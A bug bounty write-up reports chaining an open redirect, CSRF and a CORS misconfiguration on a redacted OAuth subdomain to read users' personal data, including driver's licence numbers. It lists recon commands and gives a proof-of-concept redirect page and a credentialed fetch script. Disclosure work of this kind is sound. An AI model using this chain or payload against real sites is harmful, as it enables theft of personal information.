This exploit was submitted to a public program. It demonstrates how seemingly innocuous vulnerabilities can be chained together to escalate impact.
Subfinder and amass were used to find subdomains from passive sources. I like to run these commands continuously to detect when programs add new assets.
amass enum -active -d 'redacted.com' -o amass_scan
grep -i 'cname' amass_scan | cut -d ‘ ‘ -f1 | anew subdomains.txt
subfinder -d 'redacted.com' -all -recursive | anew subdomains.txt
cat subdomains.txt | httpx-pd -o subdomains_alive.txt
Visiting every subdomain manually would be tedious, but we can automate the process to find interesting sites.
gowitness scan file -f subdomains_alive.txt --write-db
gowitness report server
After inspecting hundreds of subdomains, I came across an interesting target with login functionality.
Clicking the icon would sign in users via OAuth with the following sequence of requests.
Subdomains could use the OAuth endpoint from the main site to fetch profile information for users. At first glance, this implementation seemed pretty secure because any attempts to modify the redirect_uri and state parameters would result in errors.
I wanted to dig a bit deeper and used the following tools to discover endpoints.
feroxbuster -A -u redacted_sub.com -o ferox_scan
katana -u redacted_sub.com -xhr -kf -ps -d 5 -hl -sb -o katana_scan
One URL caught my interest. Profile information, including a full name, address, phone number, and driver’s license number could be found at https://redacted_sub.com/portal/check.
Requests from external sites would always include the session cookie because its same-site property was set to None. This endpoint was also vulnerable to a CORS misconfiguration and could therefore be used to steal PII from users.
“When you see a good move, look for a better one.” — Emanuel Lasker
This vulnerability only affected customers already logged onto the 3rd party service. The customerId seemed to increment for each generated account and suggested there were approximately 170k users, but I wanted to find a way to impact everyone from the main site.
Fortunately (or unfortunately), the redirectTo parameter was not verified and vulnerable to an open redirect. It was also vulnerable to CSRF because it failed to verify the referer header.
https://redacted_sub.com/portal/api/oAuthRedirect/remoteOAuthServer?redirectTo=https://google.com
An attacker could use this vulnerability to send victims back to their malicious site after authenticating on the subdomain. This would make it possible to force users to log onto the 3rd party site even if they had never used it before, thus exposing their profile data via the CORS misconfiguration.
An LLM was used to generate the snippets below. Despite the controversy, I believe using AI can save a lot of time when used tastefully, provided you understand the code it generates.
<!DOCTYPE html>
<html>
<body>
<script>
window.location.href = 'https:/redacted_sub.com/portal/api/oAuthRedirect/remoteOAuthServer?redirectTo=http://localhost:8000/exploit.html';
</script>
</body>
</html>
<script>
async function fetchWithCookies(url) {
try {
const response = await fetch(url, {
method: 'GET',
credentials: 'include'
});
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
const jsonData = await response.json();
const prettyJson = JSON.stringify(jsonData, null, 2);
const container = document.createElement('div');
container.classList.add('json-container');
container.innerHTML = `<pre>${prettyJson}</pre>`;
document.getElementById('results').appendChild(container);
} catch (error) {
console.error(`Error fetching data from ${url}:`, error);
document.getElementById('results').innerHTML += `<p>Error fetching data from ${url}</p>`;
}
}
async function fetchData() {
await fetchWithCookies('https://redacted_sub.com/portal/check');
}
window.onload = fetchData;
</script>